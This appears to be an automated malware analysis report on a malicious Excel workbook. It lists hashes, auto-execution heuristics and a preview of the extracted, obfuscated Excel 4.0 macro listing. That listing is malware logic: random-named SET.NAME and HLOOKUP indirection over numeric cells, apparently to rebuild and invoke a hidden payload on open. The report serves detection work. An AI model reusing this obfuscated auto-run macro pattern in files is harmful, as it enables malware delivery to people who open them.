Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f3d429ae33ba59c7…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:29 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: 897a689bb96dedeba1e3af3fdd86f51a SHA-1: a32fbd74a78a37765fd94492b7e4beadf1b47c4f SHA-256: f3d429ae33ba59c7d1918e69031a82016ceb02ce6a1fa965de3ed130a7fe7a59
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6686 bytes
SHA-256: f59794c5d62db961adf74b8da4f7bbed980e4f06a44d8871f9538dc356915e2a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  NFeUwb
' 0018     23 LABEL : Cell Value, String Constant - ahLfnnvS len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C158 
' 0018     27 LABEL : Cell Value, String Constant - DfoKbjImVFgh len=0 
' 0018     22 LABEL : Cell Value, String Constant - DYhFYor len=0 
' 0018     23 LABEL : Cell Value, String Constant - DzCXebKU len=0 
' 0018     25 LABEL : Cell Value, String Constant - eGadVcWaxF len=0 
' 0018     21 LABEL : Cell Value, String Constant - fJVBEQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - fplakxjMiZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - FqPhNCTGZS len=0 
' 0018     27 LABEL : Cell Value, String Constant - FrhjHMYpRJcQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - FsOLQsDqY len=0 
' 0018     20 LABEL : Cell Value, String Constant - fUQlm len=0 
' 0018     24 LABEL : Cell Value, String Constant - GSUMlDqNk len=0 
' 0018     24 LABEL : Cell Value, String Constant - lkDUbkdVi len=0 
' 0018     24 LABEL : Cell Value, String Constant - MtjQbTmnm len=0 
' 0018     23 LABEL : Cell Value, String Constant - pBCwHiRk len=0 
' 0018     23 LABEL : Cell Value, String Constant - UekFpuOH len=0 
' 0018     22 LABEL : Cell Value, String Constant - WLoSLxM len=0 
' 0018     26 LABEL : Cell Value, String Constant - wutQIYaUbnx len=0 
' 0018     26 LABEL : Cell Value, String Constant - XlFVzQLwaHU len=0 
' 0018     21 LABEL : Cell Value, String Constant - zRguYL len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  NFeUwb,C74,"SET.NAME("ahLfnnvS",0+VALUE("0"))",""
'  NFeUwb,C76,"SET.NAME("WLoSLxM",ahLfnnvS)",""
'  NFeUwb,C78,"SET.NAME("FrhjHMYpRJcQ",ahLfnnvS)",""
'  NFeUwb,C82,"SET.NAME("MtjQbTmnm",COUNTA(lkDUbkdVi))",""
'  NFeUwb,C85,"SET.NAME("FsOLQsDqY",COUNTA(UekFpuOH))",""
'  NFeUwb,C88,[],""
'  NFeUwb,C92,"SET.NAME("DzCXebKU","")",""
'  NFeUwb,R96,"",698.00000000000000000000
'  NFeUwb,C97,"WLoSLxM",""
'  NFeUwb,R97,"",-994.00000000000000000000
'  NFeUwb,R98,"",-372.00000000000000000000
'  NFeUwb,C99,"SET.NAME("fJVBEQ",HLOOKUP("*",lkDUbkdVi,WLoSLxM,FALSE))",""
'  NFeUwb,R99,"",-990.00000000000000000000
'  NFeUwb,R100,"",-380.00000000000000000000
'  NFeUwb,C101,"fUQlm",""
'  NFeUwb,R101,"",448.00000000000000000000
'  NFeUwb,C103,"SET.NAME("fplakxjMiZ",ahLfnnvS)",""
'  NFeUwb,C105,[],""
'  NFeUwb,C107,"fplakxjMiZ",""
'  NFeUwb,C111,"DfoKbjImVFgh",""
'  NFeUwb,C115,"eGadVcWaxF",""
'  NFeUwb,C120,"pBCwHiRk",""
'  NFeUwb,C122,"SET.NAME("DYhFYor",VALUE(HLOOKUP("*",UekFpuOH,pBCwHiRk,FALSE)))",""
'  NFeUwb,C126,"zRguYL",""
'  NFeUwb,C130,"DzCXebKU",""
'  NFeUwb,C132,"FrhjHMYpRJcQ",""
'  NFeUwb,C134,NEXT(),""
'  NFeUwb,C138,"FqPhNCTGZS",""
'  NFeUwb,C143,[],""
'  NFeUwb,C147,"GSUMlDqNk",""
'  NFeUwb,C150,NEXT(),""
'  NFeUwb,C153,RETURN(),""
'  NFeUwb,C183,"SET.NAME("XlFVzQLwaHU",C74)",""
'  NFeUwb,C185,"lkDUbkdVi",""
'  NFeUwb,C188,"SET.NAME("UekFpuOH",R90C12)",""
'  NFeUwb,C190,"SET.NAME("GSUMlDqNk",200)",""
'  NFeUwb,C195,"SET.NAME("wutQIYaUbnx",3)",""
'  NFeUwb,C199,XlFVzQLwaHU(),""
'  NFeUwb,C200,HALT(),""

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